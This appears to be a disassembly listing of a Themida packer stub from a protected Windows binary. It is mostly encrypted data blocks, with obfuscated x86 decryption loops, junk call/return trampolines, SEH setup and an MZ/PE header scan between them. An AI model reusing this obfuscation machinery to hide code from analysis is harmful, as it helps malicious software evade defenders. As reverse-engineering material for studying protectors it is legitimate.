dd 24448104h, 1C04h, 0C3564600h, 43861F70h, 73FB18AEh dd 13E8C3h, 0B9BD0000h, 36DDB934h, 711E190h, 0BAEAAA3Bh dd 0EE9CA00Ch, 0D781601Ah, 1A216344h, 3C5B501h, 5B610615h dd 29798D01h, 858D0615h, 618BF99h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0F5C35141h, 0F6A704AAh, 5F579570h dd 20ED8589h, 81660615h, 90DA6AF3h, 50F98B66h, 0FE8h, 0FEA7FC00h dd 133BFEF5h, 42BE833Eh, 2A3A727h, 905FA8B3h, 19899501h dd 95FF0615h, 6150DADh, 8218D89h, 81610615h, 6F4785C7h dd 1585C74Dh, 3061511h, 8B000000h, 0B5BD8BF8h, 8306152Ah dd 18BF99BDh, 840F0006h, 46h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0CCC35141h, 0E905B7D2h, 3Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 64C35141h dd 28998529h, 30500615h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h db 36h ; --------------------------------------------------------------------------- loc_5CDCD1: ; CODE XREF: Themida_:005CD881j ; Themida_:005CDCE8j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CDCD1 jmp short loc_5CDD07 ; --------------------------------------------------------------------------- loc_5CDCEC: ; CODE XREF: Themida_:005CDD03j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CDCEC jmp short $+2 loc_5CDD07: ; CODE XREF: Themida_:005CDCEAj mov eax, eax push 0 push ebp call sub_5CDD14 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDD14 proc near ; CODE XREF: Themida_:005CDD0Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5CDD14 endp ; --------------------------------------------------------------------------- test al, 8Ah fdiv dword ptr [ebx] mov ebp, 6151E71h push 0 push esi call sub_5CDD38 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDD38 proc near ; CODE XREF: Themida_:005CDD30p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CDD38 endp ; --------------------------------------------------------------------------- dd 2EE4CC7Bh, 83F9F244h, 151115BDh, 850F0306h, 3D6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D8C35040h, 94953B28h dd 0F8AA3F90h, 0BF99BD83h, 0F000618h, 3A584h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0E1950152h, 8B061526h, 152DD1BDh, 99B5FF06h, 6A0618BFh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E97BC356h, 0Dh, 24BB1240h, 973D3EA5h, 0EFB3407Fh dd 0E195FFB3h, 6A061510h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B02C357h, 18BF8DB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0DBBF0F64h, 106C7h, 6A0001h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A435DEC3h dd 2C3B319Eh, 60253766h, 2EC18D01h, 0BD890615h, 6152489h dd 8B519661h, 0F505BFAh, 587h, 0BE30BF00h, 6A966F3Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 2877C350h, 4F220240h, 6860F56h, 89000000h, 152DDDBDh dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 4D54C355h, 0FFFABF0Fh dd 1506A195h, 559D8906h, 8B06152Ah, 18BF8DB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0CC4E2855h, 0A257249h, 858B2491h, 6150059h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7CC35040h, 0F3D08752h dd 0E28AEF54h, 0C48689F5h, 8B000000h, 21958BDAh, 66061527h dd 7C40C781h, 8B04C283h, 1533B1BDh, 20508906h, 6E9h, 5C3B8100h dd 8D144F50h, 18D45885h, 6DBD8906h, 89061519h, 0B886h dd 0FDB58900h, 6A06150Ch, 0FFFC8A00h, 18BF99B5h, 0F937BF06h dd 95FF3E84h, 6151D4Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0FFC35242h, 0EB02EB2Bh, 18E944FBh, 0DE86Ch dd 5FDD0000h, 13626145h, 7B52A837h, 8146E1DFh, 4D9D8D7h dd 0A1BB5F0Bh, 5061B451h, 348972B3h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0FD2CC835h dd 5FCB81F8h, 892F60BEh, 1526659Dh, 99B5FF06h, 660618BFh dd 0FF8329BBh, 15072995h, 65BD8306h, 61500h, 5F840Fh, 0BD8B0000h dd 61518BDh, 8E850FCh, 4E000000h, 39C81815h, 0FAB66D8h dd 1989h, 14E900h, 8CEC0000h, 500DEB1Ch, 84CC9BF6h, 0C1043C83h dd 0E523CE08h, 895B8FABh, 6A2434h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 8B3AB9C3h, 0A9E54939h dd 8BF598E6h, 99B5FFFEh, 6A0618BFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9FB0C356h dd 0C2166017h, 2625B589h, 95FF0615h, 6150439h, 0E47F47BBh dd 99B5FF57h, 90618BFh, 1503658Dh, 2800F06h, 8B000000h dd 0CD95FFD9h, 6A06150Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0C248C352h, 21935E0Fh dd 2913BBFFh, 1510ED85h, 5DBD8306h, 2061528h, 20840Fh dd 0BF0F0000h, 49858BDAh, 60061528h, 0B5D18166h, 0C661F5D7h dd 9D8B0000h, 6150081h, 0DB19589h, 85C70615h, 61523F5h dd 0 dd 19B99D8Bh, 0C1E90615h, 6AFFFFF3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 39C6C350h dd 0C042C17Eh, 0C18B006Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0BDC35747h, 5B122004h, 0DD168583h, 659D8BFDh db 28h, 15h, 6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CE1A8 loc_5CE187: ; CODE XREF: sub_5CE1A8+1Aj jle loc_5CE193 mov ebx, [ebp+61505ADh] loc_5CE193: ; CODE XREF: Themida_:005CD3FCj ; sub_5CE1A8:loc_5CE187j call sub_5CE1A8 retn ; END OF FUNCTION CHUNK FOR sub_5CE1A8 ; --------------------------------------------------------------------------- db 32h, 0A0h, 42h dd 0DD6FD429h, 3727525Ch, 0AC79ADACh ; =============== S U B R O U T I N E ======================================= sub_5CE1A8 proc near ; CODE XREF: sub_5CE1A8:loc_5CE193p ; FUNCTION CHUNK AT 005CE187 SIZE 00000012 BYTES adc cx, 0B72Fh pop esi mov dl, 0BAh add esi, 75A3h call sub_5CE1C6 stc xor [edi+5E3DAF0Ch], dh jno short loc_5CE187 mov al, 43h sub_5CE1A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CE1C6 proc near ; CODE XREF: sub_5CE1A8+Ep jbe loc_5CE1D2 sub [ebp+6150DE5h], edi loc_5CE1D2: ; CODE XREF: sub_5CE1C6j pop edx mov eax, 0 mov edi, 3F123ED0h loc_5CE1DD: ; CODE XREF: Themida_:005CE25Dj push dword ptr [eax+esi] mov ecx, [ebp+615038Dh] pop ebx call sub_5CE1F5 in al, dx retn sub_5CE1C6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 75FDh dd 976AC6Ah ; --------------------------------------------------------------------------- xchg eax, ebx ; =============== S U B R O U T I N E ======================================= sub_5CE1F5 proc near ; CODE XREF: sub_5CE1C6+21p mov dx, ax pop edi sub ebx, 1886AC4Dh or [ebp+6151291h], edi sub ebx, 55224848h mov dx, 0A38Bh add ebx, 0DF81405h push ebx call near ptr loc_5CE227+2 insb adc al, 9Fh imul esi, eax, -5Eh xor al, 0A8h dec ecx xchg al, ch inc esp loc_5CE227: ; CODE XREF: sub_5CE1F5+21p cmp dword ptr [edi+ebx*2-71h], 4 sub_5CE1F5 endp ; sp-analysis failed push es mov ecx, 2B4FE025h jmp loc_5CE244 ; --------------------------------------------------------------------------- db 5Ch dd 0F7B41ECFh, 8E6C7B49h, 47B4AE07h ; --------------------------------------------------------------------------- loc_5CE244: ; CODE XREF: Themida_:005CE232j sub eax, 3234BF9Eh add [ebp+61508F1h], eax add eax, 3234BF9Ah stc cmp eax, 0FFFF8B24h jnz loc_5CE1DD mov edx, 0F0113000h sub edx, 0F0000000h add edx, 14h mov [ebp+6152F99h], edx sub edx, 14h lea eax, [ebp+61A48DAh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_5CE29C: ; CODE XREF: Themida_:005CE2BEj cmp word ptr [eax], 5A4Dh jnz loc_5CE2B9 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_5CE2C3 loc_5CE2B9: ; CODE XREF: Themida_:005CE2A1j sub eax, 1000h jmp loc_5CE29C ; --------------------------------------------------------------------------- loc_5CE2C3: ; CODE XREF: Themida_:005CE2B3j mov ecx, eax mov [ebp+6150031h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+6151D79h], edx mov edx, [eax+50h] mov [ebp+6150231h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+615119Dh], edx add edx, [eax+8] mov [ebp+615099Dh], edx pop large dword ptr fs:0 add esp, 4 jmp loc_5CE31C ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_5CE31C: ; CODE XREF: Themida_:005CE304j cmp dword ptr [ebp+61509CDh], 0 jz loc_5CE34D mov byte ptr [ebp+61509C5h], 47h push 0D49AA7D2h push dword ptr [ebp+6152811h] lea eax, [ebp+61872BCh] call eax push 0 call eax mov [ebp+6150A3Dh], eax loc_5CE34D: ; CODE XREF: Themida_:005CE323j mov edx, ebx lea ecx, [ebp+61A49CCh] mov [ebp+6150AA1h], edx push ecx stc pop ebx mov [ebp+6152721h], ecx add edi, [ebp+61511F9h] mov dword ptr [ebp+61504CDh], 70E8h push 0 push edx call sub_5CE37F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE37F proc near ; CODE XREF: Themida_:005CE377p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5CE37F endp ; --------------------------------------------------------------------------- db 0A5h dd 20C5B58Bh, 85C70615h, 6151115h, 0 dd 0AE8h, 0BEB1F800h, 0C7C806E0h, 0FC5254Fh, 281h, 5A5B5000h dd 2E0DB5FFh, 9D0B0615h, 6152401h, 2C995FFh, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 64958BC3h, 3CDA0E67h, 9D893C8Dh, 615073Dh, 95FF006Ah db 21h, 2Eh, 15h ; --------------------------------------------------------------------------- loc_5CE3FB: ; DATA XREF: Themida_:0057A16Co ; Themida_:0057C6C0o push es mov eax, eax jmp short loc_5CE47C ; --------------------------------------------------------------------------- push ds push edi add [edi], esp cmp al, 0C8h loc_5CE406: ; CODE XREF: Themida_:005CE407j lodsd jge short loc_5CE406 fcomip st, st(3) xor eax, 1D2181A7h ; --------------------------------------------------------------------------- dd 0CAAD6F64h, 1A3066DFh, 7E29DCF8h, 1E131B31h, 603D7150h dd 0CAC985FCh, 0A2727453h, 0F8B9A9AEh, 249F0775h, 0CFDA9389h dd 442B9A2Ch, 0E988B999h, 0C846BB64h, 0A9286687h, 24101CA3h dd 8279EBD8h, 5898D3AFh, 0CA6533CCh, 4C7EAA07h, 53F20ECFh dd 0CA7127BCh, 0C772C3EBh, 210AA99h, 89118BD2h, 4798F8E6h dd 0AAC11651h, 25E51D28h ; --------------------------------------------------------------------------- loc_5CE47C: ; CODE XREF: Themida_:005CE3FEj lea ecx, [ebp+61A4B33h] push 0 push ebx call sub_5CE48D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE48D proc near ; CODE XREF: Themida_:005CE485p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5CE48D endp ; --------------------------------------------------------------------------- db 0A8h, 0BDh, 63h ; --------------------------------------------------------------------------- mov ebx, 75958BF7h or ds:218D8906h, edx daa adc eax, 53006A06h call sub_5CE4B9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE4B9 proc near ; CODE XREF: Themida_:005CE4B1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CE4B9 endp ; --------------------------------------------------------------------------- mov ds:0D38B66A5h, al jle loc_5CE4D7 movsx esi, si loc_5CE4D7: ; CODE XREF: Themida_:005CE4CEj mov dword ptr [ebp+61504CDh], 69F0h push 0 push esi call sub_5CE4EC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE4EC proc near ; CODE XREF: Themida_:005CE4E4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5CE4EC endp ; --------------------------------------------------------------------------- jz short loc_5CE577 add eax, 0EEBCCC33h sub edi, [ebp+6150429h] mov al, 0DAh mov dword ptr [ebp+6151115h], 0 pusha mov [ebp+6152C91h], ebx jle loc_5CE524 pusha popa loc_5CE524: ; CODE XREF: Themida_:005CE51Cj popa push dword ptr [ebp+6152CBDh] push 0 push edx call sub_5CE536 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE536 proc near ; CODE XREF: Themida_:005CE52Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5CE536 endp ; --------------------------------------------------------------------------- dw 1BE0h ; --------------------------------------------------------------------------- shl byte ptr [edi+62D28372h], 1 db 26h, 36h add dx, 0F6DDh call dword ptr [ebp+61502C9h] push 0 call dword ptr [ebp+6152E21h] mov eax, eax jmp short loc_5CE582 ; --------------------------------------------------------------------------- db 89h dd 9228A9EFh, 0EC3681C2h, 8A147985h db 19h, 25h, 0AFh ; --------------------------------------------------------------------------- loc_5CE577: ; CODE XREF: Themida_:005CE4FCj cmp al, 0B0h retn 0CC67h ; --------------------------------------------------------------------------- dd 7BCDB2B0h ; --------------------------------------------------------------------------- and bl, ah loc_5CE582: ; CODE XREF: Themida_:005CE565j jmp loc_5CE59E ; --------------------------------------------------------------------------- db 7Eh dd 763BB0h, 4 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5CE59E: ; CODE XREF: Themida_:loc_5CE582j jmp loc_5CEAA6 ; --------------------------------------------------------------------------- db 98h dd 58C7AE1Eh, 978C69D9h, 60CFA616h, 8EA570E0h, 0C2D9BC2Ch dd 0E454D6C9h, 2D9D2211h, 0E959DB48h, 2494170Ch, 0ED588651h dd 169CB9A4h, 2476C647h, 525F57C7h, 0A0BE80F0h, 86F2FC25h dd 65AE7F10h, 0ADA29404h, 281AEBDh, 2C8FA492h, 8697ABCh dd 9B029E98h, 0C0309334h, 1D7EFE35h, 86F263A6h, 16390A10h dd 4201DB7Fh, 1086F21Fh, 0F280C97Ch, 5A6B1086h, 3861E4E6h dd 0C31086F2h, 0FC2DDDF2h, 0E54E1080h, 0BD771383h, 0E3D343A4h dd 4500DEE0h, 1086F21Ch, 751CCEDFh, 8FFF7D4Ah, 0E84F64E6h dd 22A19278h, 0F2DF02C1h, 8D9E1086h, 10C0B9AAh, 0F3DCE639h dd 4D1C40C3h, 0D75E1086h, 0D8DC61E8h, 357E97A8h, 82A248B8h dd 72h, 57C72496h, 0F2BFE45Fh, 3ABB1086h, 0EE525F93h, 5E71E162h dd 8836758h, 97A81AA5h, 0A2Bh, 40342100h, 9166E511h, 24A58D7Dh dd 288955C5h, 615E58C8h, 9BC18B89h, 86F2E128h, 1C9F8C10h dd 2AE783ACh, 44B43BC7h, 64527D52h, 6579E94Fh, 0F285CC77h dd 84FF1086h, 38572391h, 0A94152CEh, 416CF36Bh, 0ABB32386h dd 0D9B12186h, 960665BAh, 0C62439FFh, 6748B83Ah, 4FBF422Fh dd 51C1426Fh, 0D5BC7BB9h, 0FC5DDDEAh, 64C131B7h, 1086F23Dh dd 74CFEFC0h, 1086F22Dh, 45D0FFD0h, 411D8DEEh, 462494F0h dd 0EA5ADBC8h, 0FCE34EACh, 0A81C104Dh, 845897h, 5D560000h dd 9C806ADAh, 6056C624h, 48B8357Eh, 4251636Fh, 7119AF98h dd 61E445C0h, 1086E638h, 0D9DDF2C3h, 390C6DC8h, 1086E610h dd 0B1E5CADBh, 1CF799E4h, 868DD410h, 7E82B424h, 753BA817h dd 0AA08BFEEh, 66C45B3Ah, 0C9E656DAh, 41D6FFCDh, 5F86089h dd 9C1C0DFDh, 2990EA2Ch, 3B1B3CB6h, 0BA7CB2FAh, 237635D5h dd 8997A8A3h, 2Dh, 56C6249Dh, 0B4357E60h, 765A644h, 73269F97h dd 87F77B4Ch, 0C5244AEEh, 0BAE26155h, 0B81086F2h, 2EBB8E41h dd 0B697A81Ah, 1, 59C924D2h, 446D6F5Dh, 8BCE77E7h, 721086F2h dd 0EB48C9A1h, 0C3263B7Bh, 0E94E6353h, 137A3D79h, 0A70E37ACh dd 0A22E8F38h, 0F99CB323h, 1DD0DB1h, 0E454D6DBh, 0D343C1B2h dd 3E63E2FCh, 0BD1086F2h, 879FFEECh, 34169BFCh, 0C0A7AFFh dd 56675733h, 80F05360h, 0E74869F5h, 15969377h, 0BBBC99A5h dd 0B82BEABEh, 1FA6907Ah, 169377F8h, 1BAC1386h, 0D64D2898h dd 0C0B1E555h, 24E3D343h, 2685426Dh, 77DBFEC5h, 75A21693h dd 0BF9086F6h, 0AD1DA390h, 3BBEF382h, 0DB9DBD9Fh, 11FD98FAh dd 4327BC8Ch, 0F8D7h, 0BABB300h, 304003DBh, 0CD169BF6h dd 0F611380Bh, 0CBDC1693h, 42C1B2E4h, 8FEC43D2h, 0A90A171Fh dd 0AB0C2539h, 22E54F3Bh, 83446Bh, 4DB00590h, 0D39DBD1Eh dd 47h, 0C20EABE7h, 0DFFFD040h, 130373D2h, 370E503Ah, 9086F232h dd 8D6E8B9h, 0DCDA4AABh, 0F21F42E3h, 0CDDE9086h, 0E3C6CAEAh dd 8E7C5965h, 94FC25A0h, 98FF9086h, 28582925h, 944AAF16h dd 20F11086h, 7B6F55h, 0AB4B0000h, 4003DB0Bh, 169C0670h dd 0E9FA3C0Dh, 0A47B1A8Ah, 3A5FE647h, 581693E6h, 0D80A2CE3h dd 0CAB7699Bh, 0C3BCFA6Ah, 70D3C3ECh, 1693502Eh, 4B7C63D6h dd 0D9D78E8h, 8AEB4869h, 82231C1Ah, 1693565Fh, 1C220D1Eh dd 0B499DCA9h, 484E5F10h, 60D02D86h, 80B15936h, 0A0A39303h dd 8B17959Eh, 9E98B727h, 0E3269DA1h, 8A1CA91Dh, 0F7E6D1B9h dd 6777A757h, 8ED209DCh, 0DABB8C1Ah, 0DB0BAB4Eh, 3DA54003h dd 673816A1h, 51C1422Fh, 0A40C6FC4h, 2F967CEEh, 169CB3EAh dd 8EB78091h, 340A253Ah, 0A4350523h, 0BA5000D5h, 6EF2F97Ch dd 8DEC86B2h, 6C70992Ch, 2AFB66BAh, 0A1201105h, 92F90531h dd 71F8B82Bh, 0BA2A893Eh, 0C60BBAA4h, 0A566BA6Ch, 0A9199F94h dd 8BA8B2C1h, 817EB828h, 5BCB28E9h, 72E2465Bh, 0E5D84144h dd 24F161E2h, 0FA3CAC0Fh, 7AA84314h, 0BB42240Fh, 10F3CFh dd 4FC70000h, 0F293B68Dh, 2D5A1086h, 98725DCDh, 0CA2496A6h dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 56783C7Ah, 0C681E689h dd 4, 8704EE83h, 895C2434h, 89572404h, 4C781E7h, 83000000h dd 3C8704EFh, 1C895C24h, 4D256824h, 4890000h, 0B685124h dd 596D0B76h, 2B60C181h, 0F1817278h, 0D999EA1Fh, 0C8BCB89h dd 4C48124h, 68000000h, 254h, 83242489h, 58042404h, 89DA8952h dd 148B0850h, 4C48324h ; --------------------------------------------------------------------------- mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_581882 ; --------------------------------------------------------------------------- dw 1A84h dd 2D8795A4h, 0D7829140h db 0A3h, 0B2h ; --------------------------------------------------------------------------- loc_5CEAA6: ; CODE XREF: Themida_:loc_5CE59Ej mov eax, 61A4FE4h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 74h dd 0EF4B5037h, 0AA68A2FAh, 1663560Ch, 54179EE1h, 0E03809EFh dd 7C21BB55h, 0DE6ADCA5h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338D2FF6h dd 0FFB44E60h, 0F867A5E4h, 0A08D0E22h, 2124A3BEh, 7967202Bh dd 0D91DA3BAh, 0D71B2026h, 338D2FFEh, 831D2933h, 0C0982633h dd 0BCC88AB6h, 0D6157635h, 0AF8276ADh, 510DD963h, 839E333Eh dd 35982664h, 1F152359h, 4B82769Dh, 381DAB63h, 39E3C63h dd 0AD29B3CCh, 14932026h, 6AA1A23Ch, 0B0152633h, 9C82769Dh dd 4DAACE63h, 0F6D82633h, 32CA3BEh, 24C82029h, 0CEC888B6h dd 0FF677635h, 338D091Ah, 1794E2B0h, 57C888B6h, 23157635h dd 558276ADh, 2C0DD963h, 3D9E333Eh, 6A982651h, 6474AD66h dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h dd 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C8276AFh dd 1C49ABBEh, 93202029h, 78000000h, 271E7FCh, 0C8D00731h dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 61A51D1h, 51F08D8Dh dd 0CF2B061Ah, 8B05E983h, 0AE8C8h, 1EBD0000h, 20ADBD5Ah dd 0D991D965h, 91958959h, 81061533h, 71CEC1h, 68D78B00h dd 0 ; --------------------------------------------------------------------------- xor eax, 1D1C99A2h pop ebx cld loc_5CEC4C: ; CODE XREF: Themida_:005CECA4j mov esi, [ecx+ebx] sbb dh, 18h xor esi, 5459A010h adc eax, 469D5462h sub esi, 49CDF69Fh add esi, 69C501B7h mov eax, ebx push esi mov [ebp+6152D01h], edx pop dword ptr [ecx+ebx] sbb dx, 0AFB9h or edx, [ebp+61518F5h] sub ebx, 6C3CF241h mov [ebp+6152489h], esi add ebx, 6C3CF23Dh jno loc_5CEC9E add di, 547Dh loc_5CEC9E: ; CODE XREF: Themida_:005CEC93j cmp ebx, 0FFFF8EB8h jnz loc_5CEC4C sub [ebp+6151431h], edx call near ptr loc_5CECB8+2 jle short loc_5CECD1 push es loc_5CECB8: ; CODE XREF: Themida_:005CECB0p mov ds:0CA8B667Ah, al pop esi jns $+6 add esi, 5E6Dh mov dh, 96h push 0 loc_5CECD1: ; CODE XREF: Themida_:005CECB5j mov ecx, 37BA2FA0h pop edi mov cx, bx ; START OF FUNCTION CHUNK FOR sub_5CED59 loc_5CECDA: ; CODE XREF: sub_5CED59+7j push dword ptr [edi+esi] mov edx, 4B4A3266h pop eax mov [ebp+615272Dh], esi add eax, 75837000h mov bh, 14h add eax, 1DF480B9h mov ecx, [ebp+6151339h] sub eax, 1CDC5591h mov edx, 6742AF97h push eax or [ebp+61516CDh], ecx pop dword ptr [esi+edi] adc dh, 15h sbb edx, 49BF692Fh sub edi, 4 ; CODE XREF: sub_5CED59-13j mov ecx, [ebp+615216Dh] cmp edi, 0FFFFA24Ch jnz loc_5CED41 mov [ebp+61528B1h], ecx jmp loc_5CED72 ; END OF FUNCTION CHUNK FOR sub_5CED59 ; --------------------------------------------------------------------------- db 0F4h dd 0A7853A9Bh db 0D1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CED59 loc_5CED41: ; CODE XREF: sub_5CED59-2Fj call sub_5CED59 jb short near ptr loc_5CED1B+1 db 3Eh pop esi mov word ptr [esi-43h], ss icebp push edx stosb sbb edx, [edx] hlt ; END OF FUNCTION CHUNK FOR sub_5CED59 ; --------------------------------------------------------------------------- add cl, dh aad 0D2h jz short loc_5CED8C ; =============== S U B R O U T I N E ======================================= sub_5CED59 proc near ; CODE XREF: sub_5CED59:loc_5CED41p ; FUNCTION CHUNK AT 005CECDA SIZE 00000061 BYTES ; FUNCTION CHUNK AT 005CED41 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005CED72 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005CED7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005CF1AA SIZE 00000009 BYTES mov [ebp+615189Dh], edx pop ecx jmp loc_5CECDA sub_5CED59 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 65h, 0C1h, 9Fh dd 0A294EF7Eh, 91CE8630h db 0E0h, 93h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CED59 loc_5CED72: ; CODE XREF: sub_5CED59-23j jmp loc_5CED7D ; END OF FUNCTION CHUNK FOR sub_5CED59 ; --------------------------------------------------------------------------- db 5Fh db 86h, 0D2h dw 24h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CED59 loc_5CED7D: ; CODE XREF: sub_5CED59:loc_5CED72j jmp loc_5CF1AA ; END OF FUNCTION CHUNK FOR sub_5CED59 ; --------------------------------------------------------------------------- dw 0F777h dd 0C041EE87h, 0F6EC550h ; --------------------------------------------------------------------------- loc_5CED8C: ; CODE XREF: Themida_:005CED57j lahf imul byte ptr [ecx] mov dword ptr [edi-42h], 0D4A11171h xlat aam 0D9h pop ecx jmp near ptr 20ED04ABh ; --------------------------------------------------------------------------- db 55h dd 7EE5EDEh, 4A2B9B18h, 0ABEE5579h, 52169CA1h, 0C724AB91h dd 0F0525F57h, 0BD3EF580h, 0DB58494Dh, 0B3362B6Bh, 0B3367B43h dd 0F16DA743h, 2784436Ah, 0F351DEB7h, 0BF3DF283h, 0D55A474Fh dd 0E3523165h, 5DE8F6FCh, 1086F234h, 704E6B7h, 0D36035A5h dd 0AF160070h, 1086F26Fh, 86C3EA8Bh, 97A81A23h, 0E72A99C3h dd 0F91086FEh, 899A0676h, 5841E1h, 4F550000h, 0F293B68Dh dd 2D5A1086h, 67585ECEh, 1271A248h, 3C29CA2h, 1086F2DEh dd 0A414709Dh, 0BA2A888Bh, 2DE7837Ch, 86F281C6h, 6954E510h dd 0A81A5DE0h, 1E397h, 24B70000h, 506155C5h, 9C9581F1h dd 0F66AAC1Ch, 2287406Fh, 3A77E3B2h, 704D49B9h, 0AA1A999Ah dd 0C6245DCBh, 0EE536056h, 1881387Eh, 83E44DA5h, 402A2313h dd 16FF6FD3h, 9C1EAA09h, 3A15EA2Ch, 1686E7FCh, 0C0EFAA20h dd 0A81C5489h, 7F9C97h, 24700000h, 536056C6h, 1C9482F2h dd 6BC82A95h, 40F19909h, 6CC352C2h, 8B989E0Eh, 88A9B525h dd 0A5A0B727h, 0EA184886h, 0F94FBDADh, 5FBA8F3Eh, 0C597A8D3h dd 65h, 0E2624FE1h, 9F4B4472h, 76A01072h, 0AF8FFF7Dh, 3759B6A6h dd 0D9E5DA4Eh, 8615276Ah, 15F5C610h, 3BAB0A17h, 6FB211FBh dd 0E108615h, 0E672F63Dh, 2E1F1787h, 9B01501h, 3A6515D6h dd 0A2170308h, 406F1A8Dh, 0E2B32387h, 0DD624F56h, 2D8C7D6Dh dd 0D2FA79BDh, 101086F2h, 0A61336A9h, 2E97A81Ah, 1, 3DC9240Ah dd 734C4ABAh, 0DE55825Ch, 9128FDACh, 849D9773h, 0AEA7B727h dd 725A0ACBh, 9D9773FFh, 7C0EF96h, 575F36A6h, 756777A7h dd 0B951C13Ch, 9BF83A0Ah, 0CA793B16h, 1693FD87h, 16A15D66h dd 86162F44h, 9A0A6AA9h, 137081B5h, 0DE5DD2A3h, 0E163506Eh dd 189B9971h, 1693E9F3h, 22A51881h, 0CF6431A1h, 0A9BAFC6Ch dd 1DDCDA4Ah, 0FD7E4974h, 30BDE88Dh, 0B89DBD35h, 0FCh dd 0BF0BABD4h, 0DCE2CD3Dh, 9BF60969h, 